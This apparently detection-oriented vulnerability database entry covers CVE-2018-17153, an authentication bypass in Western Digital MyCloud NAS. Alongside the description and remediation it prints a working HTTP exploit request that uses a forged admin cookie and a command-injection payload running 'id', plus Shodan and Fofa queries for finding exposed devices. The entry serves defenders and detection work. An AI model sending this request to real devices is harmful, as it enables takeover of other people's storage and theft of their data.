🔙 목록으로 돌아가기

CVE-2018-17153: Western Digital MyCloud NAS - Authentication Bypass

TitleWestern Digital MyCloud NAS - Authentication Bypass
AuthorDhiyaneshDk
SeverityCritical
ImpactAn attacker can bypass authentication and gain unauthorized access to the device, potentially leading to data theft or unauthorized control of the NAS.
RemediationApply the latest firmware update provided by Western Digital to fix the authentication bypass vulnerability.
CVSS Score9.8
EPSS Score0.92205
CVE IDCVE-2018-17153
CWE IDCWE-287
Shodan Queryhttp.favicon.hash:-1074357885
Fofa Queryicon_hash=-1074357885
Tags cve2018 cve packetstorm auth-bypass rce wdcloud western_digital vuln

🔍 Vulnerability Description

It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user’s IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user’s IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called "cgi_get_ipv6" that starts an admin session – tied to the IP address of the user making the request – if the additional parameter "flag" with the value "1" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie.

🌐 HTTP Request

POST /web/google_analytics.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: isAdmin=1; username=admin;
Accept-Encoding: gzip

cmd=set&opt=cloud-device-num&arg=0|echo%20`id`%20%23

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-17153.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-17153.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A